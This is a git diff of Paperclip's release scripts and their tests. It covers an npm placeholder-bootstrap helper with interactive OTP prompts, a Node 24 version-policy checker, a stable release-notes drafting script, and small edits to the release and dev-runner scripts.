+    const dryRun = runNpm(["publish", "--dry-run", "--access", "public"], { cwd: stageDir });
+    if (dryRun.status !== 0) {
+      throw new Error(`npm publish --dry-run failed with status ${dryRun.status ?? "unknown"}`);
+    }
 
-  if (result.status === 0) {
-    return;
+    if (!publish) {
+      process.stdout.write(
+        [
+          "",
+          "Dry run complete. To publish the placeholder from an authenticated maintainer machine, run:",
+          `node scripts/bootstrap-npm-package.mjs ${packageName} --publish`,
+          "",
+        ].join("\n"),
+      );
+      return;
+    }
+
+    const rl = createInterface({ input: process.stdin, output: process.stdout });
+    try {
+      await publishPlaceholder(packageName, stageDir, rl);
+      process.stdout.write(`Placeholder ${packageName}@${PLACEHOLDER_VERSION} published.\n`);
+
+      process.stdout.write(
+        "Waiting for the registry to show the package before deprecating (a first publish can take a few minutes)...\n",
+      );
+      const visible = await waitForPackageVisible(packageName);
+
+      let deprecated = false;
+      if (visible) {
+        deprecated = await deprecatePlaceholder(packageName, files.deprecationNote, rl);
+      } else {
+        process.stdout.write("Timed out waiting for the registry to show the package.\n");
+      }
+
+      if (deprecated) {
+        process.stdout.write(`Deprecated ${packageName}@${PLACEHOLDER_VERSION}.\n`);
+      } else {
+        printManualDeprecateFallback(packageName, files.deprecationNote);
+      }
+
+      printNextSteps(packageName);
+    } finally {
+      rl.close();
+    }
+  } finally {
+    rmSync(stageDir, { recursive: true, force: true });
   }
-
-  if (/\bEOTP\b|one-time password/i.test(output)) {
-    throw new Error(
-      [
-        "npm publish reached the publish-time 2FA check.",
-        "Complete the browser auth URL printed by npm and rerun the helper, or rerun with `--otp <code>` if your npm account uses authenticator-app codes.",
-      ].join(" "),
-    );
-  }
-
-  throw new Error(`${formatCommand("pnpm", publishArgs)} failed with status ${result.status ?? "unknown"}`);
 }
 
-function main(argv) {
-  const { help, selector, publish, skipBuild, otp } = parseArgs(argv);
+async function main(argv) {
+  const { help, packageName, publish } = parseArgs(argv);
 
   if (help) {
     usage();
     return;
   }
 
-  if (!selector) {
+  if (!packageName) {
     usage();
-    throw new Error("missing package selector");
+    throw new Error("missing package name");
   }
 
-  const pkg = resolveTargetPackage(selector);
-  process.stdout.write(`Selected ${pkg.name} (${pkg.dir})\n`);
+  validatePackageName(packageName);
 
-  if (publish && !otp) {
-    throw new Error("`--publish` requires `--otp <code>`. Generate a fresh npm one-time password and rerun.");
+  if (publish && !process.stdin.isTTY) {
+    throw new Error(
+      "--publish needs an interactive terminal: the helper prompts for npm one-time passwords instead of taking them as arguments.",
+    );
   }
 
-  const npmState = inspectNpmPackage(pkg.name);
+  const npmState = inspectNpmPackage(packageName);
   if (npmState.exists) {
-    throw new Error(`${pkg.name} already exists on npm at version ${npmState.version}; bootstrap is only for first publish`);
+    throw new Error(
+      `${packageName} already exists on npm at version ${npmState.version}; the bootstrap flow is only for names that have never been published`,
+    );
   }
 
-  process.stdout.write(`${pkg.name} is not on npm yet; continuing with bootstrap flow.\n`);
+  process.stdout.write(`${packageName} is not on npm yet; continuing with placeholder bootstrap.\n`);
 
   if (publish) {
     process.stdout.write("Checking npm auth with npm whoami...\n");
     ensureNpmAuth();
   }
 
-  if (!skipBuild && typeof pkg.pkg?.scripts?.build === "string") {
-    process.stdout.write(`Building ${pkg.name}...\n`);
-    runChecked("pnpm", ["--filter", pkg.name, "build"]);
-  }
-
-  process.stdout.write(`Previewing publish payload for ${pkg.name}...\n`);
-  runChecked("pnpm", buildPublishArgs(pkg, { dryRun: true }));
-
-  if (!publish) {
-    process.stdout.write(
-      [
-        "",
-        "Dry run complete. To perform the first publish from an authenticated maintainer machine, run:",
-        `node scripts/bootstrap-npm-package.mjs ${pkg.name} --publish --otp <code>`,
-        "",
-      ].join("\n"),
-    );
-    return;
-  }
-
-  process.stdout.write(`Publishing ${pkg.name}...\n`);
-  publishPackage(pkg, otp);
-  printNextSteps(pkg);
+  await stageAndPublish(packageName, { publish });
 }
 
 const isDirectRun = process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.url);
 
 if (isDirectRun) {
   try {
-    main(process.argv.slice(2));
+    await main(process.argv.slice(2));
   } catch (error) {
     process.stderr.write(`${error instanceof Error ? error.message : String(error)}\n`);
     process.exit(1);
   }
 }
-
-export {
-  buildPublishArgs,
-  ensureNpmAuth,
-  inspectNpmPackage,
-  parseArgs,
-  publishPackage,
-  resolveTargetPackage,
-};
diff --git a/scripts/bootstrap-npm-package.test.mjs b/scripts/bootstrap-npm-package.test.mjs
index 2780eb5a0f0..b8541a04f3d 100644
--- a/scripts/bootstrap-npm-package.test.mjs
+++ b/scripts/bootstrap-npm-package.test.mjs
@@ -1,87 +1,129 @@
 import assert from "node:assert/strict";
 import test from "node:test";
 
-import { buildPublishArgs, parseArgs, resolveTargetPackage } from "./bootstrap-npm-package.mjs";
+import {
+  PLACEHOLDER_VERSION,
+  buildPlaceholderFiles,
+  parseArgs,
+  promptOtp,
+  validatePackageName,
+  waitForPackageVisible,
+} from "./bootstrap-npm-package.mjs";
 
-test("parseArgs recognizes publish and skip-build flags", () => {
-  assert.deepEqual(parseArgs(["@paperclipai/plugin-workspace-diff", "--publish", "--skip-build"]), {
+test("parseArgs recognizes the publish flag", () => {
+  assert.deepEqual(parseArgs(["@paperclipai/adapter-kimi-local", "--publish"]), {
     help: false,
-    selector: "@paperclipai/plugin-workspace-diff",
+    packageName: "@paperclipai/adapter-kimi-local",
     publish: true,
-    skipBuild: true,
-    otp: null,
   });
 });
 
-test("parseArgs accepts an explicit otp value", () => {
-  assert.deepEqual(parseArgs(["packages/plugins/plugin-workspace-diff", "--publish", "--otp", "123456"]), {
+test("parseArgs defaults to a dry run", () => {
+  assert.deepEqual(parseArgs(["@paperclipai/adapter-kimi-local"]), {
     help: false,
-    selector: "packages/plugins/plugin-workspace-diff",
-    publish: true,
-    skipBuild: false,
-    otp: "123456",
-  });
-});
-
-test("parseArgs leaves otp null when omitted", () => {
-  assert.deepEqual(parseArgs(["packages/plugins/plugin-workspace-diff", "--publish"]), {
-    help: false,
-    selector: "packages/plugins/plugin-workspace-diff",
-    publish: true,
-    skipBuild: false,
-    otp: null,
-  });
-});
-
-test("parseArgs returns help mode", () => {
-  assert.deepEqual(parseArgs(["--help"]), {
-    help: true,
-    selector: null,
+    packageName: "@paperclipai/adapter-kimi-local",
     publish: false,
-    skipBuild: false,
-    otp: null,
   });
 });
 
-test("resolveTargetPackage matches by package name or dir", () => {
-  const packages = [
-    { dir: "packages/a", name: "@paperclipai/a", pkg: {} },
-    { dir: "packages/b", name: "@paperclipai/b", pkg: {} },
-  ];
-
-  assert.equal(resolveTargetPackage("@paperclipai/a", packages).dir, "packages/a");
-  assert.equal(resolveTargetPackage("./packages/b", packages).name, "@paperclipai/b");
+test("parseArgs rejects a second package name", () => {
+  assert.throws(() => parseArgs(["@paperclipai/a", "@paperclipai/b"]), /exactly one package name/);
 });
 
-test("resolveTargetPackage includes the workspace diff plugin bootstrap package", () => {
-  const pkg = resolveTargetPackage("@paperclipai/plugin-workspace-diff");
-
-  assert.equal(pkg.dir, "packages/plugins/plugin-workspace-diff");
+test("parseArgs rejects unknown options", () => {
+  assert.throws(() => parseArgs(["@paperclipai/a", "--skip-build"]), /unknown option/);
+  assert.throws(() => parseArgs(["@paperclipai/a", "--otp", "123456"]), /unknown option/);
 });
 
-test("buildPublishArgs publishes from the repo root through pnpm", () => {
-  const pkg = { dir: "packages/adapters/hermes", name: "@paperclipai/hermes-paperclip-adapter" };
-
-  assert.deepEqual(buildPublishArgs(pkg), [
-    "publish",
-    "packages/adapters/hermes",
-    "--no-git-checks",
-    "--access",
-    "public",
-  ]);
+test("validatePackageName accepts @paperclipai scoped names", () => {
+  validatePackageName("@paperclipai/adapter-kimi-local");
+  validatePackageName("@paperclipai/plugin-workspace-diff");
 });
 
-test("buildPublishArgs includes dry-run and otp flags when requested", () => {
-  const pkg = { dir: "packages/adapters/hermes", name: "@paperclipai/hermes-paperclip-adapter" };
-
-  assert.deepEqual(buildPublishArgs(pkg, { dryRun: true, otp: "123456" }), [
-    "publish",
-    "packages/adapters/hermes",
-    "--no-git-checks",
-    "--access",
-    "public",
-    "--dry-run",
-    "--otp",
-    "123456",
-  ]);
+test("validatePackageName rejects names outside the @paperclipai scope", () => {
+  assert.throws(() => validatePackageName("left-pad"), /@paperclipai scope/);
+  assert.throws(() => validatePackageName("@evil/adapter-kimi-local"), /@paperclipai scope/);
+  assert.throws(() => validatePackageName("@paperclipai/UPPER"), /@paperclipai scope/);
+});
+
+test("buildPlaceholderFiles produces a publishable manifest at the placeholder version", () => {
+  const files = buildPlaceholderFiles("@paperclipai/adapter-kimi-local");
+  const manifest = JSON.parse(files["package.json"]);
+
+  assert.equal(manifest.name, "@paperclipai/adapter-kimi-local");
+  assert.equal(manifest.version, PLACEHOLDER_VERSION);
+  assert.equal(manifest.publishConfig.access, "public");
+  assert.deepEqual(manifest.files, ["index.js"]);
+  assert.match(manifest.description, /[Pp]laceholder/);
+});
+
+test("buildPlaceholderFiles entry point throws with a pointer to the repo", () => {
+  const files = buildPlaceholderFiles("@paperclipai/adapter-kimi-local");
+
+  assert.match(files["index.js"], /^throw new Error\(/);
+  assert.match(files["index.js"], /placeholder/);
+  assert.match(files["index.js"], /github\.com\/paperclipai\/paperclip/);
+  // The entry point must be valid JS: evaluating it should throw our message,
+  // not a SyntaxError.
+  assert.throws(() => new Function(files["index.js"])(), /placeholder that reserves/);
+});
+
+test("buildPlaceholderFiles README explains the placeholder", () => {
+  const files = buildPlaceholderFiles("@paperclipai/adapter-kimi-local");
+  assert.match(files["README.md"], /placeholder publish/);
+  assert.match(files["README.md"], /release-bootstrap CI gate/);
+});
+
+test("promptOtp re-prompts until a non-empty code is entered", async () => {
+  const answers = ["", "   ", " 123456 "];
+  const rl = { question: async () => answers.shift() ?? "" };
+
+  assert.equal(await promptOtp(rl, "publish"), "123456");
+  assert.equal(answers.length, 0);
+});
+
+test("waitForPackageVisible requires consecutive sightings before reporting success", async () => {
+  const states = [{ exists: false }, { exists: true }, { exists: false }, { exists: true }, { exists: true }];
+  let sleeps = 0;
+
+  const visible = await waitForPackageVisible("@paperclipai/x", {
+    attempts: 10,
+    consecutive: 2,
+    inspect: () => states.shift() ?? { exists: true },
+    sleep: async () => {
+      sleeps += 1;
+    },
+  });
+
+  assert.equal(visible, true);
+  // Five inspections happened; sleeps run between attempts, not before the first.
+  assert.equal(sleeps, 4);
+});
+
+test("waitForPackageVisible times out when the package never appears", async () => {
+  const visible = await waitForPackageVisible("@paperclipai/x", {
+    attempts: 3,
+    consecutive: 2,
+    inspect: () => ({ exists: false }),
+    sleep: async () => {},
+  });
+
+  assert.equal(visible, false);
+});
+
+test("waitForPackageVisible treats registry errors as misses and keeps polling", async () => {
+  let calls = 0;
+  const visible = await waitForPackageVisible("@paperclipai/x", {
+    attempts: 6,
+    consecutive: 2,
+    inspect: () => {
+      calls += 1;
+      if (calls <= 2) throw new Error("transient registry error");
+      return { exists: true };
+    },
+    sleep: async () => {},
+  });
+
+  assert.equal(visible, true);
+  assert.equal(calls, 4);
 });
diff --git a/scripts/check-node-version-policy.mjs b/scripts/check-node-version-policy.mjs
new file mode 100644
index 00000000000..cceb9c75196
--- /dev/null
+++ b/scripts/check-node-version-policy.mjs
@@ -0,0 +1,85 @@
+import fs from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+
+const repoRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "..");
+const expectedEngine = ">=24.11.0";
+const expectedTypes = "^24.0.0";
+const failures = [];
+const skippedDirectories = new Set([".git", ".paperclip", "coverage", "data", "dist", "node_modules"]);
+
+function relative(filePath) {
+  return path.relative(repoRoot, filePath) || ".";
+}
+
+function walk(directory, visit) {
+  for (const entry of fs.readdirSync(directory, { withFileTypes: true })) {
+    if (entry.isDirectory() && skippedDirectories.has(entry.name)) continue;
+    const entryPath = path.join(directory, entry.name);
+    if (entry.isDirectory()) walk(entryPath, visit);
+    else if (entry.isFile()) visit(entryPath);
+  }
+}
+
+walk(repoRoot, (filePath) => {
+  if (path.basename(filePath) !== "package.json") return;
+  const manifest = JSON.parse(fs.readFileSync(filePath, "utf8"));
+  for (const section of ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies"]) {
+    const specifier = manifest[section]?.["@types/node"];
+    if (specifier && specifier !== expectedTypes) {
+      failures.push(`${relative(filePath)}: ${section}.@types/node must be ${expectedTypes}, found ${specifier}`);
+    }
+  }
+  if (manifest.engines?.node !== expectedEngine) {
+    failures.push(`${relative(filePath)}: engines.node must be ${expectedEngine}, found ${manifest.engines?.node ?? "missing"}`);
+  }
+});
+
+const workflowRoot = path.join(repoRoot, ".github", "workflows");
+walk(workflowRoot, (filePath) => {
+  if (!/\.ya?ml$/.test(filePath)) return;
+  const source = fs.readFileSync(filePath, "utf8");
+  for (const match of source.matchAll(/node-version:\s*["']?([^\s"'#]+)/g)) {
+    if (match[1] !== "24") failures.push(`${relative(filePath)}: node-version must be 24, found ${match[1]}`);
+  }
+});
+
+walk(repoRoot, (filePath) => {
+  if (!path.basename(filePath).startsWith("Dockerfile")) return;
+  const source = fs.readFileSync(filePath, "utf8");
+  for (const match of source.matchAll(/^\s*FROM\s+node:([^\s]+)/gm)) {
+    if (!match[1].startsWith("24-")) failures.push(`${relative(filePath)}: Node base image must use the Node 24 major, found node:${match[1]}`);
+  }
+  for (const match of source.matchAll(/^\s*ARG\s+NODE_(?:MAJOR|VERSION)=([^\s]+)/gm)) {
+    if (match[1] !== "24") failures.push(`${relative(filePath)}: Node build argument must be 24, found ${match[1]}`);
+  }
+});
+
+const requiredSourceFragments = [
+  [".nvmrc", "24"],
+  ["packages/shared/src/node-version.ts", 'MINIMUM_NODE_VERSION = "24.11.0"'],
+  ["scripts/install.sh", "MIN_NODE_VERSION=\"${MIN_NODE_MAJOR}.${MIN_NODE_MINOR}.${MIN_NODE_PATCH}\""],
+  ["scripts/install.sh", "MIN_NODE_MAJOR=24"],
+  ["scripts/install.sh", "MIN_NODE_MINOR=11"],
+  ["scripts/install.sh", "DEFAULT_NODE_MAJOR=24"],
+  ["docker/agent-runtime/Dockerfile.base", "ARG NODE_VERSION=24"],
+  ["packages/adapter-utils/src/sandbox-install-command.ts", "NODE_VERSION=\"v24.11.0\""],
+  ["packages/plugins/sandbox-providers/exe-dev/src/plugin.ts", "nodesource.com/setup_24.x"],
+  ["packages/plugins/sandbox-providers/modal/src/manifest.ts", 'default: "node:24"'],
+  ["cli/esbuild.config.mjs", 'target: "node24"'],
+  ["packages/plugins/sdk/src/bundlers.ts", 'target: "node24"'],
+  ["scripts/generate-npm-package-json.mjs", `engines: { node: "${expectedEngine}" }`],
+];
+
+for (const [filePath, fragment] of requiredSourceFragments) {
+  const source = fs.readFileSync(path.join(repoRoot, filePath), "utf8");
+  if (!source.includes(fragment)) failures.push(`${filePath}: missing Node 24 policy fragment ${JSON.stringify(fragment)}`);
+}
+
+if (failures.length > 0) {
+  console.error("Node version policy check failed:");
+  for (const failure of failures) console.error(`- ${failure}`);
+  process.exit(1);
+}
+
+console.log("Node version policy check passed (Node >=24.11.0, @types/node 24.x).");
diff --git a/scripts/create-github-release.sh b/scripts/create-github-release.sh
index f326811a577..603f5832fd1 100755
--- a/scripts/create-github-release.sh
+++ b/scripts/create-github-release.sh
@@ -7,15 +7,17 @@ REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
 
 dry_run=false
 version=""
+notes_file_override=""
 
 usage() {
   cat <<'EOF'
 Usage:
-  ./scripts/create-github-release.sh <version> [--dry-run]
+  ./scripts/create-github-release.sh <version> [--dry-run] [--notes-file PATH]
 
 Examples:
   ./scripts/create-github-release.sh 2026.318.0
   ./scripts/create-github-release.sh 2026.318.0 --dry-run
+  ./scripts/create-github-release.sh 2026.318.0 --notes-file /tmp/stable-notes.md
 
 Notes:
   - Run this after pushing the stable tag.
@@ -28,6 +30,14 @@ EOF
 while [ $# -gt 0 ]; do
   case "$1" in
     --dry-run) dry_run=true ;;
+    --notes-file)
+      shift
+      if [ $# -eq 0 ]; then
+        echo "Error: --notes-file requires a path." >&2
+        exit 1
+      fi
+      notes_file_override="$1"
+      ;;
     -h|--help)
       usage
       exit 0
@@ -55,6 +65,9 @@ fi
 
 tag="v$version"
 notes_file="$REPO_ROOT/releases/${tag}.md"
+if [ -n "$notes_file_override" ]; then
+  notes_file="$notes_file_override"
+fi
 if [ "${GITHUB_ACTIONS:-}" = "true" ] && [ -z "${PUBLISH_REMOTE:-}" ] && git_remote_exists origin; then
   PUBLISH_REMOTE=origin
 fi
diff --git a/scripts/dev-runner.ts b/scripts/dev-runner.ts
index 4848a1c77c3..28e152e9949 100644
--- a/scripts/dev-runner.ts
+++ b/scripts/dev-runner.ts
@@ -90,6 +90,7 @@ const tailscaleAuthFlagNames = new Set([
 let tailscaleAuth = false;
 let bindMode: BindMode | null = null;
 let bindHost: string | null = null;
+const managedRuntimeExposure = process.env.PAPERCLIP_MANAGED_RUNTIME_EXPOSURE === "tailscale_https";
 const forwardedArgs: string[] = [];
 
 for (let index = 0; index < cliArgs.length; index += 1) {
@@ -133,6 +134,10 @@ if (!bindMode && process.env.npm_config_bind && BIND_MODES.includes(process.env.
 if (!bindHost && process.env.npm_config_bind_host) {
   bindHost = process.env.npm_config_bind_host;
 }
+if (managedRuntimeExposure) {
+  bindMode = "custom";
+  bindHost = "127.0.0.1";
+}
 if (bindMode === "custom" && !bindHost) {
   console.error("[paperclip] --bind custom requires --bind-host <host>");
   process.exit(1);
@@ -174,7 +179,7 @@ if (tailscaleAuth || bindMode) {
   } else {
     env.PAPERCLIP_DEPLOYMENT_MODE = "authenticated";
     env.PAPERCLIP_DEPLOYMENT_EXPOSURE = "private";
-    env.PAPERCLIP_AUTH_BASE_URL_MODE = "auto";
+    env.PAPERCLIP_AUTH_BASE_URL_MODE = managedRuntimeExposure ? "explicit" : "auto";
     console.log(
       `[paperclip] dev mode: authenticated/private (bind=${effectiveBind}${bindHost ? `:${bindHost}` : ""})`,
     );
diff --git a/scripts/draft-stable-notes.sh b/scripts/draft-stable-notes.sh
new file mode 100755
index 00000000000..5bd42e9ba11
--- /dev/null
+++ b/scripts/draft-stable-notes.sh
@@ -0,0 +1,155 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
+# shellcheck source=./release-lib.sh
+. "$REPO_ROOT/scripts/release-lib.sh"
+
+beta_version=""
+out_file=""
+repo_dir="$REPO_ROOT"
+
+usage() {
+  cat <<'EOF'
+Usage:
+  ./scripts/draft-stable-notes.sh <beta-version> [--out PATH] [--repo-dir PATH]
+
+Examples:
+  ./scripts/draft-stable-notes.sh 2026.817.1-beta.0
+  ./scripts/draft-stable-notes.sh 2026.817.1-beta.0 --out /tmp/draft.md
+
+Notes:
+  - Generates a stable release-notes draft for the given published beta:
+    the commit range from the newest stable tag (v*) to the beta's source
+    commit, grouped by conventional-commit type.
+  - Written to releases/beta/v<beta-version>.md by default. The draft is
+    meant to be committed to master via PR and edited during the beta
+    soak; the stable promotion reads it from master.
+  - With no stable tag yet, the range falls back to the previous beta
+    tag, and failing that to the full history of the source commit.
+EOF
+}
+
+while [ $# -gt 0 ]; do
+  case "$1" in
+    --out)
+      shift
+      [ $# -gt 0 ] || release_fail "--out requires a path."
+      out_file="$1"
+      ;;
+    --repo-dir)
+      shift
+      [ $# -gt 0 ] || release_fail "--repo-dir requires a path."
+      repo_dir="$1"
+      ;;
+    -h|--help)
+      usage
+      exit 0
+      ;;
+    *)
+      if [ -n "$beta_version" ]; then
+        release_fail "only one beta version may be provided."
+      fi
+      beta_version="$1"
+      ;;
+  esac
+  shift
+done
+
+if [ -z "$beta_version" ]; then
+  usage
+  exit 1
+fi
+
+if [[ ! "$beta_version" =~ ^[0-9]+\.[0-9]+\.[0-9]+-beta\.[0-9]+$ ]]; then
+  release_fail "beta version must look like 2026.318.1-beta.0, got: $beta_version"
+fi
+
+beta_tag="beta/v${beta_version}"
+if ! git -C "$repo_dir" rev-parse --verify "refs/tags/${beta_tag}" >/dev/null 2>&1; then
+  release_fail "beta tag ${beta_tag} does not exist. Draft notes are generated from a published beta."
+fi
+source_sha="$(git -C "$repo_dir" rev-parse "${beta_tag}^{commit}")"
+source_short="$(git -C "$repo_dir" rev-parse --short "$source_sha")"
+
+if [ -z "$out_file" ]; then
+  out_file="${repo_dir}/releases/beta/v${beta_version}.md"
+fi
+
+# Range start: walk stable tags newest-first and take the first whose
+# merge-base with the source is a proper ancestor of the source. A stable
+# cut from a candidate branch is not itself an ancestor of master, but
+# its merge-base with the source is the promoted source commit — exactly
+# the point the shipped stable's content diverges from. A stable that
+# already contains the source (promoting an older commit) is skipped so
+# the range never collapses to empty. Before the first stable, fall back
+# to the nearest beta tag strictly before the source; with no marker at
+# all, cover the source commit's full history.
+range_start=""
+range_label=""
+range_cmd_start=""
+while IFS= read -r stable_tag; do
+  [ -n "$stable_tag" ] || continue
+  mb="$(git -C "$repo_dir" merge-base "$stable_tag" "$source_sha" 2>/dev/null || true)"
+  [ -n "$mb" ] || continue
+  if [ "$mb" != "$source_sha" ]; then
+    range_start="$mb"
+    if [ "$mb" = "$(git -C "$repo_dir" rev-parse "${stable_tag}^{commit}")" ]; then
+      range_label="$stable_tag"
+      range_cmd_start="$stable_tag"
+    else
+      # rev-parse --short picks an abbreviation that is unambiguous in
+      # this repository, unlike a fixed nine-character truncation.
+      mb_short="$(git -C "$repo_dir" rev-parse --short "$mb")"
+      range_label="${stable_tag} (merge-base ${mb_short})"
+      range_cmd_start="$mb_short"
+    fi
+    break
+  fi
+done < <(git -C "$repo_dir" tag -l 'v[0-9]*' --sort=-v:refname)
+if [ -z "$range_start" ]; then
+  range_start="$(git -C "$repo_dir" describe --tags --match 'beta/v*' --abbrev=0 "${source_sha}^" 2>/dev/null || true)"
+  range_label="$range_start"
+  range_cmd_start="$range_start"
+fi
+if [ -n "$range_start" ]; then
+  range="${range_start}..${source_sha}"
+else
+  range="$source_sha"
+  range_label="the beginning of history"
+  range_cmd_start="the beginning of history"
+  release_info "No stable or prior beta tag found; drafting from full history."
+fi
+
+subjects="$(git -C "$repo_dir" log --no-merges --format='%s' "$range")"
+
+section() {
+  local title="$1" pattern="$2" invert="${3:-false}" body
+  if [ "$invert" = true ]; then
+    body="$(printf '%s\n' "$subjects" | grep -Ev "$pattern" || true)"
+  else
+    body="$(printf '%s\n' "$subjects" | grep -E "$pattern" || true)"
+  fi
+  [ -n "$body" ] || return 0
+  printf '## %s\n\n' "$title"
+  printf '%s\n' "$body" | sed 's/^/- /'
+  printf '\n'
+}
+
+conventional='^(feat|fix)(\([^)]*\))?!?: '
+mkdir -p "$(dirname "$out_file")"
+{
+  printf '# Paperclip stable draft — from beta %s\n\n' "$beta_version"
+  printf '> Auto-generated at beta publish from `git log %s..%s` (baseline: %s).\n' "${range_cmd_start}" "${source_short}" "${range_label}"
+  printf '> Edit freely during the soak: rewrite for release-notes voice,\n'
+  printf '> fold noise, and call out anything a self-hoster must act on.\n'
+  printf '> The stable promotion reads this file from master and publishes\n'
+  printf '> it as the GitHub Release body under the stable version.\n\n'
+  section 'Features' '^feat(\([^)]*\))?!?: '
+  section 'Fixes' '^fix(\([^)]*\))?!?: '
+  section 'Other changes' "$conventional" true
+} > "$out_file"
+
+release_info "Draft stable notes written to $out_file"
+release_info "  Source beta: $beta_version ($source_sha)"
+release_info "  Range start: $range_label"
diff --git a/scripts/draft-stable-notes.test.mjs b/scripts/draft-stable-notes.test.mjs
new file mode 100644
index 00000000000..53479a87739
--- /dev/null
+++ b/scripts/draft-stable-notes.test.mjs
@@ -0,0 +1,159 @@
+import assert from "node:assert/strict";
+import { execFileSync } from "node:child_process";
+import { mkdtempSync, readFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import test from "node:test";
+
+const repoRoot = new URL("..", import.meta.url).pathname.replace(/\/$/, "");
+const script = join(repoRoot, "scripts", "draft-stable-notes.sh");
+
+function git(dir, ...args) {
+  return execFileSync("git", ["-C", dir, ...args], {
+    encoding: "utf8",
+    env: {
+      ...process.env,
+      GIT_AUTHOR_NAME: "t",
+      GIT_AUTHOR_EMAIL: "t@example.invalid",
+      GIT_COMMITTER_NAME: "t",
+      GIT_COMMITTER_EMAIL: "t@example.invalid",
+    },
+  });
+}
+
+function commit(dir, subject) {
+  git(dir, "commit", "--allow-empty", "-m", subject);
+}
+
+function makeFixtureRepo() {
+  const dir = mkdtempSync(join(tmpdir(), "draft-stable-notes-"));
+  git(dir, "init", "-q", "-b", "master");
+  return dir;
+}
+
+function runDraft(dir, betaVersion, extraArgs = []) {
+  const out = join(dir, "draft.md");
+  const stdout = execFileSync(
+    "bash",
+    [script, betaVersion, "--repo-dir", dir, "--out", out, ...extraArgs],
+    { encoding: "utf8" }
+  );
+  return { stdout, body: readFileSync(out, "utf8") };
+}
+
+test("drafts grouped notes from the newest stable tag to the beta source", () => {
+  const dir = makeFixtureRepo();
+  commit(dir, "feat: ancient work (#1)");
+  git(dir, "tag", "v2026.100.0");
+  commit(dir, "feat: add widgets (#2)");
+  commit(dir, "fix(ui): unbreak widget list (#3)");
+  commit(dir, "chore: bump deps (#4)");
+  commit(dir, "feat(api)!: breaking widget API (#5)");
+  git(dir, "tag", "beta/v2026.101.0-beta.0");
+
+  const { body } = runDraft(dir, "2026.101.0-beta.0");
+
+  assert.match(body, /^# Paperclip stable draft — from beta 2026\.101\.0-beta\.0/);
+  assert.match(body, /## Features\n\n- feat\(api\)!: breaking widget API \(#5\)\n- feat: add widgets \(#2\)/);
+  assert.match(body, /## Fixes\n\n- fix\(ui\): unbreak widget list \(#3\)/);
+  assert.match(body, /## Other changes\n\n- chore: bump deps \(#4\)/);
+  assert.doesNotMatch(body, /ancient work/);
+});
+
+test("uses the nearest ancestor stable tag, not the newest by version", () => {
+  const dir = makeFixtureRepo();
+  commit(dir, "feat: old work (#1)");
+  git(dir, "tag", "v2026.100.0");
+  commit(dir, "feat: mid work (#2)");
+  git(dir, "tag", "beta/v2026.150.0-beta.0");
+  commit(dir, "feat: new work (#3)");
+  git(dir, "tag", "v2026.200.0");
+
+  // Promoting the older source must draft against its own lineage's last
+  // stable (v2026.100.0), not the newer v2026.200.0 that already contains
+  // it — that range would be empty.
+  const { body } = runDraft(dir, "2026.150.0-beta.0");
+
+  assert.match(body, /- feat: mid work \(#2\)/);
+  assert.doesNotMatch(body, /old work/);
+  assert.doesNotMatch(body, /new work/);
+});
+
+test("starts from the merge-base when the last stable was cut from a candidate branch", () => {
+  const dir = makeFixtureRepo();
+  commit(dir, "feat: shipped in the stable (#1)");
+  git(dir, "checkout", "-q", "-b", "candidate");
+  commit(dir, "docs: release notes only (#2)");
+  git(dir, "tag", "v2026.200.0");
+  git(dir, "checkout", "-q", "master");
+  commit(dir, "feat: next-release work (#3)");
+  git(dir, "tag", "beta/v2026.201.0-beta.0");
+
+  // The stable tag sits on the unmerged candidate branch, so it is not an
+  // ancestor of the beta source. The range must start at its merge-base
+  // with the source (the promoted commit), not fall back past it.
+  const { body } = runDraft(dir, "2026.201.0-beta.0");
+
+  assert.match(body, /- feat: next-release work \(#3\)/);
+  assert.doesNotMatch(body, /shipped in the stable/);
+  assert.doesNotMatch(body, /release notes only/);
+});
+
+test("falls back to the previous beta tag when no stable tag exists", () => {
+  const dir = makeFixtureRepo();
+  commit(dir, "feat: first-train work (#1)");
+  git(dir, "tag", "beta/v2026.100.0-beta.0");
+  commit(dir, "fix: second-train fix (#2)");
+  git(dir, "tag", "beta/v2026.101.0-beta.0");
+
+  const { body } = runDraft(dir, "2026.101.0-beta.0");
+
+  assert.match(body, /- fix: second-train fix \(#2\)/);
+  assert.doesNotMatch(body, /first-train work/);
+});
+
+test("covers full history when no earlier marker exists", () => {
+  const dir = makeFixtureRepo();
+  commit(dir, "feat: the very first commit (#1)");
+  git(dir, "tag", "beta/v2026.100.0-beta.0");
+
+  const { body } = runDraft(dir, "2026.100.0-beta.0");
+
+  assert.match(body, /- feat: the very first commit \(#1\)/);
+});
+
+test("writes to releases/beta/v<version>.md inside the repo by default", () => {
+  const dir = makeFixtureRepo();
+  commit(dir, "feat: default path (#1)");
+  git(dir, "tag", "beta/v2026.100.0-beta.0");
+
+  execFileSync("bash", [script, "2026.100.0-beta.0", "--repo-dir", dir], {
+    encoding: "utf8",
+  });
+  const body = readFileSync(
+    join(dir, "releases", "beta", "v2026.100.0-beta.0.md"),
+    "utf8"
+  );
+  assert.match(body, /- feat: default path \(#1\)/);
+});
+
+test("rejects a malformed beta version", () => {
+  const dir = makeFixtureRepo();
+  assert.throws(() =>
+    execFileSync("bash", [script, "2026.100.0", "--repo-dir", dir], {
+      encoding: "utf8",
+      stdio: "pipe",
+    })
+  );
+});
+
+test("rejects a beta version whose tag does not exist", () => {
+  const dir = makeFixtureRepo();
+  commit(dir, "feat: unrelated (#1)");
+  assert.throws(() =>
+    execFileSync("bash", [script, "2026.100.0-beta.9", "--repo-dir", dir], {
+      encoding: "utf8",
+      stdio: "pipe",
+    })
+  );
+});
diff --git a/scripts/e2e-install-lifecycle.sh b/scripts/e2e-install-lifecycle.sh
index 7e1719cc994..653b4cbc9d6 100755
--- a/scripts/e2e-install-lifecycle.sh
+++ b/scripts/e2e-install-lifecycle.sh
@@ -6,7 +6,7 @@
 #   -> update --check -> update --rollback -> reinstall (payload reuse)
 #   -> bad-ref failure hygiene -> service lifecycle -> uninstall (data preserved)
 #
-# Machine requirements: bash, curl, tar, node >= 20 (with corepack), npm.
+# Machine requirements: bash, curl, tar, node >= 24.11 (with corepack), npm.
 # The machine's $HOME must not already contain a managed install.
 #
